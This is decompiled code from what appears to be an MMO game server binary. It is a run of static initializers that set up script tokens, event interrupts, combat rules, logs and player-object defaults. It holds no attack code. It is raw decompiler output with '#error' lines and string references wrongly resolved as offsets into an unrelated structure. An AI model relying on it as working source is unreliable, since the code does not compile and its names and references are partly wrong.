PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(&sysfuncshinecharclass); return atexit(_E49_6); } //----- (0058F4B0) -------------------------------------------------------- int __cdecl _E51() { PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(&sysfuncshinecharname); return atexit(_E52_2); } //----- (0058F4D0) -------------------------------------------------------- int __cdecl _E54() { PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(&sysfuncshinedeadnum); return atexit(_E55_2); } //----- (0058F4F0) -------------------------------------------------------- int __cdecl _E57() { PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(&sysfuncshinecircularlocate); return atexit(_E58_2); } //----- (0058F510) -------------------------------------------------------- int __cdecl _E60() { PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(&sysfuncshineremovefisrt); return atexit(_E61_2); } //----- (0058F530) -------------------------------------------------------- int __cdecl _E63() { PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(&sysfuncshinegetobjectlist); return atexit(_E64_2); } //----- (0058F550) -------------------------------------------------------- int __cdecl _E66() { PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(&sysfuncshinekqresultlist); return atexit(_E67_1); } //----- (0058F570) -------------------------------------------------------- int __cdecl _E69() { PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(&sysfuncshinekqtoplist); return atexit(_E70_2); } //----- (0058F590) -------------------------------------------------------- int __cdecl _E72() { PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(&sysfuncshinedistance); return atexit(_E73_1); } //----- (0058F5B0) -------------------------------------------------------- int __cdecl _E75() { PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(&sysfuncshineplayerinarea); return atexit(_E76_2); } //----- (0058F5D0) -------------------------------------------------------- int __cdecl _E78() { PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(&sysfuncshinerange); return atexit(_E79_1); } //----- (0058F5F0) -------------------------------------------------------- int __cdecl _E81() { PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(&sysfuncshineisgateuse); return atexit(_E82_1); } //----- (0058F610) -------------------------------------------------------- int __cdecl _E84() { PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(&sysfuncshinegetwinnerguild); return atexit(_E85_1); } //----- (0058F630) -------------------------------------------------------- int __cdecl _E87() { PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(&sysfuncshinegetloseGuild); return atexit(_E88_1); } //----- (0058F650) -------------------------------------------------------- int __cdecl _E4_37() { return atexit(_E5_44); } //----- (0058F660) -------------------------------------------------------- int __cdecl _E7_23() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQRankingLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQRankingLog - "KQRankingLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_12441EE0 = 0; EraseOldLogList("KQRankingLog"); unk_12442064 = 1; return atexit(_E8_27); } //----- (0058F6B0) -------------------------------------------------------- int __cdecl _E1_19() { PineScriptMobRegenerator::PineScriptMobRegenerator(&scriptmobregen); return atexit(_E2_19); } //----- (0058F6D0) -------------------------------------------------------- #error "58F6D0: undefined or illegal type '#331' (funcsize=17)" //----- (0058F720) -------------------------------------------------------- int __cdecl _E7_24() { PineScriptToken::PineScriptToken(&index_all, "all"); return atexit(_E8_28); } //----- (0058F740) -------------------------------------------------------- int __cdecl _E10_11() { PineScriptToken::PineScriptToken( &index_me, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[1].mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E11_22); } //----- (0058F760) -------------------------------------------------------- int __cdecl _E13_6() { PineScriptToken::PineScriptToken(&index_ply, "player"); return atexit(_E14_9); } //----- (0058F780) -------------------------------------------------------- int __cdecl _E16_6() { PineScriptToken::PineScriptToken( &index_hour, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[1].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); return atexit(_E17_13); } //----- (0058F7A0) -------------------------------------------------------- int __cdecl _E19_2() { PineScriptToken::PineScriptToken( &index_minute, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[2].mts_CharRegnum); return atexit(_E20_4); } //----- (0058F7C0) -------------------------------------------------------- int __cdecl _E22_1() { PineScriptToken::PineScriptToken( &index_sec, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[2].mts_AggroPoint); return atexit(_E23_5); } //----- (0058F7E0) -------------------------------------------------------- int __cdecl _E25_1() { PineScriptToken::PineScriptToken( &index_millisec, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[2].mts_LastHit); return atexit(_E26_3); } //----- (0058F800) -------------------------------------------------------- int __cdecl _E28_0() { PineScriptToken::PineScriptToken( &index_kq, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); return atexit(_E29_4); } //----- (0058F820) -------------------------------------------------------- int __cdecl _E31_0() { PineScriptToken::PineScriptToken( &index_suc, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[3].mts_AggroPoint); return atexit(_E32_2); } //----- (0058F840) -------------------------------------------------------- int __cdecl _E34_0() { PineScriptToken::PineScriptToken( &index_fail, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[3].mts_LastHit); return atexit(_E35_1); } //----- (0058F860) -------------------------------------------------------- int __cdecl _E37_0() { PineScriptToken::PineScriptToken( &index_areaentry, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[3].mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E38_1); } //----- (0058F880) -------------------------------------------------------- int __cdecl _E40_0() { PineScriptToken::PineScriptToken( &index_arealeave, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[4].mts_CharRegnum); return atexit(_E41_0); } //----- (0058F8A0) -------------------------------------------------------- int __cdecl _E43_0() { PineScriptToken::PineScriptToken( &index_npcclickhandle, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[4].mts_LastHit); return atexit(_E44_1); } //----- (0058F8C0) -------------------------------------------------------- int __cdecl _E46_0() { PineScriptToken::PineScriptToken(&index_npcclickindex, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[5]); return atexit(_E47_1); } //----- (0058F8E0) -------------------------------------------------------- int __cdecl _E49_0() { PineScriptToken::PineScriptToken( &index_npcclickany, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[5].mts_LastHit); return atexit(_E50_0); } //----- (0058F900) -------------------------------------------------------- int __cdecl _E52_0() { PineScriptToken::PineScriptToken( &index_hplow, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[5].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); return atexit(_E53_1); } //----- (0058F920) -------------------------------------------------------- int __cdecl _E55_0() { PineScriptToken::PineScriptToken( &index_mobeliminate, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[6].mts_CharRegnum); return atexit(_E56_1); } //----- (0058F940) -------------------------------------------------------- int __cdecl _E58_0() { PineScriptToken::PineScriptToken( &index_playereliminate, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[6].mts_EnemyAnalyzer); return atexit(_E59_1); } //----- (0058F960) -------------------------------------------------------- int __cdecl _E61_0() { PineScriptToken::PineScriptToken( &index_guildliminate, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[7].mts_CharRegnum); return atexit(_E62_1); } //----- (0058F980) -------------------------------------------------------- int __cdecl _E64_0() { PineScriptToken::PineScriptToken( &index_timeout, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[7].mts_EnemyAnalyzer); return atexit(_E65_1); } //----- (0058F9A0) -------------------------------------------------------- int __cdecl _E67() { PineScriptToken::PineScriptToken( &index_deadhandle, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[7].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); return atexit(_E68_0); } //----- (0058F9C0) -------------------------------------------------------- #error "58F9C0: undefined or illegal type '#331' (funcsize=7)" //----- (0058F9E0) -------------------------------------------------------- int __cdecl _E73() { PineScriptToken::PineScriptToken( &index_killenemy, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer); return atexit(_E74_0); } //----- (0058FA00) -------------------------------------------------------- int __cdecl _E76() { PineScriptToken::PineScriptToken(&index_targetchange, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[9]); return atexit(_E77); } //----- (0058FA20) -------------------------------------------------------- int __cdecl _E79() { PineScriptToken::PineScriptToken( &index_playerdead, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit); return atexit(_E80_0); } //----- (0058FA40) -------------------------------------------------------- int __cdecl _E82() { PineScriptToken::PineScriptToken( &index_admin, (char *)&stru_5B678C.maa_TargetSelect.targetlist.mam_Array[9].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); return atexit(_E83); } //----- (0058FA60) -------------------------------------------------------- int __cdecl _E85() { PineScriptToken::PineScriptToken(&index_on, (char *)&stru_5B678C.maa_TargetSelect.bout.baseclass_0.mts_Current); return atexit(_E86); } //----- (0058FA80) -------------------------------------------------------- int __cdecl _E88() { PineScriptToken::PineScriptToken( &index_off, (char *)&stru_5B678C.maa_TargetSelect.bout.baseclass_0.mts_Current.distsquar); return atexit(_E89); } //----- (0058FAA0) -------------------------------------------------------- #error "58FAA0: undefined or illegal type '#331' (funcsize=7)" //----- (0058FAC0) -------------------------------------------------------- int __cdecl _E94() { PineScriptToken::PineScriptToken(&index_anywhere, (char *)&stru_5B678C.maa_TargetSelect.bout.mtb_targetlist); return atexit(_E95); } //----- (0058FAE0) -------------------------------------------------------- int __cdecl _E97() { PineScriptToken::PineScriptToken( &index_handle, (char *)&stru_5B678C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current.distsquar); return atexit(_E98_0); } //----- (0058FB00) -------------------------------------------------------- int __cdecl _E100() { PineScriptToken::PineScriptToken( &index_guild, (char *)&stru_5B678C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_SightRange); return atexit(_E101_0); } //----- (0058FB20) -------------------------------------------------------- int __cdecl _E103() { PineScriptToken::PineScriptToken(&index_recover, (char *)&stru_5B678C.maa_TargetSelect.aggresive.mta_InstanceTarget); return atexit(_E104); } //----- (0058FB40) -------------------------------------------------------- #error "58FB40: undefined or illegal type '#331' (funcsize=7)" //----- (0058FB60) -------------------------------------------------------- int __cdecl _E109() { PineScriptToken::PineScriptToken( &index_pk, (char *)&stru_5B678C.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_LastHit); return atexit(_E110); } //----- (0058FB80) -------------------------------------------------------- int __cdecl _E112() { PineScriptToken::PineScriptToken( &index_hit, (char *)&stru_5B678C.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer); return atexit(_E113); } //----- (0058FBA0) -------------------------------------------------------- int __cdecl _E115() { PineScriptToken::PineScriptToken( &index_observer, (char *)&stru_5B678C.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E116); } //----- (0058FBC0) -------------------------------------------------------- int __cdecl _E118() { PineScriptToken::PineScriptToken( &index_GuildTournamentStart, (char *)&stru_5B678C.maa_TargetSelect.nobrain.baseclass_0.baseclass_0.mts_Current); return atexit(_E119); } //----- (0058FBE0) -------------------------------------------------------- int __cdecl _E121() { PineScriptToken::PineScriptToken( &index_Result, (char *)&stru_5B678C.maa_TargetSelect.aggresive2.baseclass_0.baseclass_0.baseclass_0.mts_Current); return atexit(_E122); } //----- (0058FC00) -------------------------------------------------------- #error "58FC00: undefined or illegal type '#331' (funcsize=7)" //----- (0058FC20) -------------------------------------------------------- int __cdecl _E127() { PineScriptToken::PineScriptToken( &index_beggar, (char *)&stru_5B678C.maa_TargetSelect.aggresive2.baseclass_0.baseclass_0.mtb_targetlist); return atexit(_E128); } //----- (0058FC40) -------------------------------------------------------- int __cdecl _E130() { PineScriptToken::PineScriptToken( &index_allwithout, (char *)&stru_5B678C.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_CharRegnum); return atexit(_E131); } //----- (0058FC60) -------------------------------------------------------- int __cdecl _E133() { PineScriptToken::PineScriptToken( &index_CostumeHeadAcc, (char *)&stru_5B678C.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E134); } //----- (0058FC80) -------------------------------------------------------- int __cdecl _E136() { PineScriptToken::PineScriptToken(&index_CostumeBodyAcc, (char *)&stru_5B678C.maa_TargetSelect.aggresiveall); return atexit(_E137); } //----- (0058FCA0) -------------------------------------------------------- int __cdecl _E139() { PineScriptToken::PineScriptToken( &index_split, (char *)&stru_5B678C.maa_TargetSelect.aggresiveall.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); return atexit(_E140); } //----- (0058FCC0) -------------------------------------------------------- int __cdecl _E142() { PineScriptToken::PineScriptToken( &index_pickupitemindex, (char *)&stru_5B678C.maa_TargetSelect.aggresiveall.baseclass_0.baseclass_0.baseclass_0.mts_SightRange); return atexit(_E143); } //----- (0058FCE0) -------------------------------------------------------- #error "58FCE0: undefined or illegal type '#331' (funcsize=7)" //----- (0058FD00) -------------------------------------------------------- int __cdecl _E148() { PineScriptToken::PineScriptToken( &index_mobindex, (char *)&stru_5B678C.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); return atexit(_E149); } //----- (0058FD20) -------------------------------------------------------- int __cdecl _E151() { PineScriptToken::PineScriptToken(&index_hpupper, (char *)&stru_5B678C.maa_TargetSelect.aggresiveNoLevel); return atexit(_E152); } //----- (0058FD40) -------------------------------------------------------- void __cdecl _E154() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&RegisterGTPortalAutoReg, v0); } //----- (0058FD60) -------------------------------------------------------- void __cdecl _E156() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&SaveLinktoAutoReg, v0); } //----- (0058FD80) -------------------------------------------------------- void __cdecl _E158() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&ClearSaveLinktoAutoReg, v0); } //----- (0058FDA0) -------------------------------------------------------- void __cdecl _E160() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&NPCChatNoFacecutAutoReg, v0); } //----- (0058FDC0) -------------------------------------------------------- void __cdecl _E162() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&ScinarioCodePartyAutoReg, v0); } //----- (0058FDE0) -------------------------------------------------------- void __cdecl _E164() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&HasAbstateAutoReg, v0); } //----- (0058FE00) -------------------------------------------------------- void __cdecl _E166() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&BroadcastCodeAutoReg, v0); } //----- (0058FE20) -------------------------------------------------------- void __cdecl _E168() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(>RegisterNPCAutoReg, v0); } //----- (0058FE40) -------------------------------------------------------- void __cdecl _E170() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(>MobRegenKeyAutoReg, v0); } //----- (0058FE60) -------------------------------------------------------- int __cdecl _E172() { return atexit(_E173); } //----- (0058FE70) -------------------------------------------------------- int __cdecl _E175() { char *v0; // eax@1 char v1; // cl@2 v0 = (char *)&stru_5B678C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar; do { v1 = *v0; v0[(char *)&ScinarioCodeLog - (char *)&stru_5B678C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar] = *v0; ++v0; } while ( v1 ); ScinarioCodeLog.dl_FilePointer = 0; EraseOldLogList((char *)&stru_5B678C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); ScinarioCodeLog.dl_Activ = 1; return atexit(_E176); } //----- (0058FEC0) -------------------------------------------------------- int __cdecl _E1_20() { RecallPointTable::RecallPointTable((ShineScript *)&recallpoint); return atexit(_E2_20); } //----- (0058FEE0) -------------------------------------------------------- int __cdecl _E4_39() { return atexit(_E5_46); } //----- (0058FEF0) -------------------------------------------------------- int __cdecl _E7_25() { EngSklAtt::EngSklAtt(&engsklatt); return atexit(_E8_29); } //----- (0058FF10) -------------------------------------------------------- int __cdecl _E10_12() { RulesOfEngagementNormalPY::RulesOfEngagementNormalPY((RulesOfEngagementNormalPY *)&roe_normalPY); return atexit(_E11_23); } //----- (0058FF30) -------------------------------------------------------- int __cdecl _E13_7() { RulesOfEngagementNormalMA::RulesOfEngagementNormalMA(&roe_normalMA); return atexit(_E14_10); } //----- (0058FF50) -------------------------------------------------------- int __cdecl _E16_7() { RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(&roe_physical); return atexit(_E17_14); } //----- (0058FF70) -------------------------------------------------------- int __cdecl _E19_3() { RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(&roe_magical); return atexit(_E20_5); } //----- (0058FF90) -------------------------------------------------------- int __cdecl _E22_2() { RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(&roe_cure); return atexit(_E23_6); } //----- (0058FFB0) -------------------------------------------------------- int __cdecl _E25_2() { RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(&roe_always); return atexit(_E26_4); } //----- (0058FFD0) -------------------------------------------------------- int __cdecl _E28_1() { RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(&roe_alwaysCritical); return atexit(_E29_5); } //----- (0058FFF0) -------------------------------------------------------- int __cdecl _E31_1() { RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(&roe_alwaysHealAttack); return atexit(_E32_3); } //----- (00590010) -------------------------------------------------------- int __cdecl _E34_1() { unsigned int v0; // eax@1 long double v1; // st7@2 signed int v3; // [sp+0h] [bp-4h]@1 v0 = 0; v3 = 0; do { v1 = (double)v3; ++v0; v3 = v0; *((long double *)&roe_magical.baseclass_0.baseclass_0.vfptr + v0) = sqrt(v1); } while ( v0 < 0x1F4 ); return atexit(_E35_2); } //----- (00590040) -------------------------------------------------------- int __cdecl _E4_40() { ScenarioBookShelf::ScenarioBookShelf(&scenarioshelf); return atexit(_E5_47); } //----- (00590060) -------------------------------------------------------- int __cdecl _E3_18() { ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry((ScriptInterrupt::ScriptInterruptAreaEntry *)&si_AreaEntry); return atexit(_E4_81); } //----- (00590080) -------------------------------------------------------- int __cdecl _E6_3() { ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave((ScriptInterrupt::ScriptInterruptAreaLeave *)&si_AreaLeave); return atexit(_E7_44); } //----- (005900A0) -------------------------------------------------------- int __cdecl _E9_1() { ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle((ScriptInterrupt::ScriptInterruptNPCClickHandle *)&si_NPCClickHandle); return atexit(_E10_21); } //----- (005900C0) -------------------------------------------------------- int __cdecl _E12_0() { ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex((ScriptInterrupt::ScriptInterruptNPCClickIndex *)&si_NPCClickIndex); return atexit(_E13_20); } //----- (005900E0) -------------------------------------------------------- int __cdecl _E15_0() { ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny((ScriptInterrupt::ScriptInterruptNPCClickAny *)&si_NPCClickAny); return atexit(_E16_15); } //----- (00590100) -------------------------------------------------------- int __cdecl _E18_1() { ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle((ScriptInterrupt::ScriptInterruptObjectDeadHandle *)&si_ObjectDeadHandle); return atexit(_E19_14); } //----- (00590120) -------------------------------------------------------- int __cdecl _E21_0() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInterruptObjectDeadIndex *)&si_ObjectDeadIndex); return atexit(_E22_10); } //----- (00590140) -------------------------------------------------------- int __cdecl _E24_0() { ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate((ScriptInterrupt::ScriptInterruptMobEleminate *)&si_MobEliminate); return atexit(_E25_10); } //----- (00590160) -------------------------------------------------------- int __cdecl _E27_0() { ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate((ScriptInterrupt::ScriptInterruptPlayerEleminate *)&si_PlayerEliminate); return atexit(_E28_8); } //----- (00590180) -------------------------------------------------------- int __cdecl _E30_0() { ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate((ScriptInterrupt::ScriptInterruptGuildEleminate *)&si_GuildEliminate); return atexit(_E31_9); } //----- (005901A0) -------------------------------------------------------- int __cdecl _E33_0() { ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval((ScriptInterrupt::ScriptInterruptInterval *)&si_Interval); return atexit(_E34_7); } //----- (005901C0) -------------------------------------------------------- int __cdecl _E36_0() { ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow((ScriptInterrupt::ScriptInterruptHPLow *)&si_HPLow); return atexit(_E37_6); } //----- (005901E0) -------------------------------------------------------- int __cdecl _E39_0() { ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut((ScriptInterrupt::ScriptInterruptTimeOut *)&si_TimeOut); return atexit(_E40_6); } //----- (00590200) -------------------------------------------------------- int __cdecl _E42_0() { ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy((ScriptInterrupt::ScriptInterruptKillEnemy *)&si_KillEnemy); return atexit(_E43_6); } //----- (00590220) -------------------------------------------------------- int __cdecl _E45_0() { ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange((ScriptInterrupt::ScriptInterruptTargetChange *)&si_TargetChange); return atexit(_E46_7); } //----- (00590240) -------------------------------------------------------- int __cdecl _E48_0() { ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead((ScriptInterrupt::ScriptInterruptPlayerDead *)&si_PlayerDead); return atexit(_E49_7); } //----- (00590260) -------------------------------------------------------- int __cdecl _E51_0() { ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex((ScriptInterrupt::ScriptInterruptPickUpItemIndex *)&si_PickUpItemIndex); return atexit(_E52_3); } //----- (00590280) -------------------------------------------------------- int __cdecl _E54_0() { ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin((ScriptInterrupt::ScriptInterruptAdmin *)&si_Admin); return atexit(_E55_3); } //----- (005902A0) -------------------------------------------------------- int __cdecl _E57_0() { ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull((ScriptInterrupt::ScriptInterruptHPFull *)&si_HPFull); return atexit(_E58_3); } //----- (005902C0) -------------------------------------------------------- int __cdecl _E60_0() { ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper((ScriptInterrupt::ScriptInterruptHPUpper *)&si_HPUpper); return atexit(_E61_3); } //----- (005902E0) -------------------------------------------------------- void __cdecl _E63_0() { ScriptInterrupt::ScriptInterruptUnitBase *v0; // eax@1 v0 = (ScriptInterrupt::ScriptInterruptUnitBase *)ScriptInterrupt::ScriptInterruptUnit::GetInstance(); ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(&ScriptInterrupt::testInter, v0); } //----- (00590300) -------------------------------------------------------- int __cdecl _E4_41() { return atexit(_E5_48); } //----- (00590310) -------------------------------------------------------- int __cdecl _E7_26() { return atexit(_E8_30); } //----- (00590320) -------------------------------------------------------- int __cdecl _E3_19() { SetItemData::SetItemClassifier::SetItemClassifier(&setitemclassifier); return atexit(_E4_82); } //----- (00590340) -------------------------------------------------------- int __cdecl _E6_4() { SetItemData::SetItemEffectList::SetItemEffectList(&setitemeffectlist); return atexit(_E7_45); } //----- (00590360) -------------------------------------------------------- int __cdecl _E9_2() { return atexit(_E10_22); } //----- (00590370) -------------------------------------------------------- int __cdecl _E12_1() { MemoryQueue::MemoryQueue(&setitemskilleffectqueue); return atexit(_E13_21); } //----- (00590390) -------------------------------------------------------- int __cdecl _E4_42() { return atexit(_E5_54); } //----- (005903A0) -------------------------------------------------------- int __cdecl _E4_43() { return atexit(_E5_56); } //----- (005903B0) -------------------------------------------------------- int __cdecl _E6_5() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ItemMSLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ItemMSLog - "ItemMSLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ItemMSLog.dl_FilePointer = 0; EraseOldLogList("ItemMSLog"); ItemMSLog.dl_Activ = 1; return atexit(_E7_48); } //----- (00590400) -------------------------------------------------------- int __cdecl _E8_1() { MemoryQueue::MemoryQueue(&queue_roar); return atexit(_E9_13); } //----- (00590420) -------------------------------------------------------- int __cdecl _E4_44() { NameString::NameString(&namestring); return atexit(_E5_63); } //----- (00590440) -------------------------------------------------------- int __cdecl _E7_27() { AllOfRangeArgument::AllOfRangeArgument(&allofrangearg); return atexit(_E8_32); } //----- (00590460) -------------------------------------------------------- int __cdecl _E10_13() { return atexit(_E11_25); } //----- (00590470) -------------------------------------------------------- int __cdecl _E13_8() { MoveManager::MoveManager(&ShineObjectClass::ShineObject::so_defaultparam); return atexit(_E14_12); } //----- (00590490) -------------------------------------------------------- int __cdecl _E16_8() { SpyNet::EspionageAgent::EspionageAgent(&ShineObjectClass::ShineObject::so_spy); return atexit(_E17_15); } //----- (005904B0) -------------------------------------------------------- int __cdecl _E19_4() { return atexit(_E20_6); } //----- (005904C0) -------------------------------------------------------- int __cdecl _E22_3() { AbnormalStateContainer::AbstateListInObject::AbstateListInObject(&ShineObjectClass::ShineObject::so_defabstatelist); return atexit(_E23_7); } //----- (005904E0) -------------------------------------------------------- int __cdecl _E25_3() { ItemOperateList::ItemOperateList((int)&ShineObjectClass::ShineObject::so_defitemoperate); return atexit(_E26_5); } //----- (00590500) -------------------------------------------------------- int __cdecl _E28_2() { InventoryLocking::InventoryCellLock::InventoryCellLock(&ShineObjectClass::ShineObject::so_definvlocklist); return atexit(_E29_6); } //----- (00590520) -------------------------------------------------------- int __cdecl _E31_2() { CharacterInventory::CharacterInventory(&ShineObjectClass::ShineObject::so_defiteminven); return atexit(_E32_4); } //----- (00590540) -------------------------------------------------------- int __cdecl _E34_2() { AllOfRangeArgument::AllOfRangeArgument(&ShineObjectClass::ShineObject::so_deftradebrd); return atexit(_E35_3); } //----- (00590560) -------------------------------------------------------- int __cdecl _E37_1() { CCharacterTitleZone::CCharacterTitleZone(&ShineObjectClass::ShineObject::so_DefCharTitle, &gCharacterTitleData); return atexit(_E38_2); } //----- (00590580) -------------------------------------------------------- int __cdecl _E40_1() { MoveManager::MoveManager(&ShineObjectClass::ShineObject::so_PacketEncrypt); return atexit(_E41_1); } //----- (005905A0) -------------------------------------------------------- int __cdecl _E43_1() { PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(&ShineObjectClass::ShineObject::so_WeddingData); return atexit(_E44_2); } //----- (005905C0) -------------------------------------------------------- int __cdecl _E46_1() { ItemLotInspector::ItemLotInspector(&ShineObjectClass::ShineObject::so_ItemLotInspector); return atexit(_E47_2); } //----- (005905E0) -------------------------------------------------------- void __cdecl _E49_1() { NPCAction::doTriggers_::doTriggers_(&ShineObjectClass::ShineObject::m_RTTI, "ShineObjectClass::ShineObject", 0); } //----- (00590600) -------------------------------------------------------- int __cdecl _E53() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"BroadCastLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&BroadCastLog - "BroadCastLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_12484A60 = 0; EraseOldLogList("BroadCastLog"); unk_12484BE4 = 1; return atexit(_E54_2); } //----- (00590650) -------------------------------------------------------- int __cdecl _E56() { TargetAnalyser::TargetAnalyser((TargetAnalyser *)&ShineObjectClass::ShineMobileObject::TA::tmp); return atexit(_E57_2); } //----- (00590670) -------------------------------------------------------- int __cdecl _E59() { StreetBooth::StreetBooth(&ShineObjectClass::ShinePlayer::BoothSell::board); return atexit(_E60_2); } //----- (00590690) -------------------------------------------------------- int __cdecl _E62() { ClientSessionNull::ClientSessionNull(&ShineObjectClass::ShinePlayer::sp_defaultsocket); return atexit(_E63_2); } //----- (005906B0) 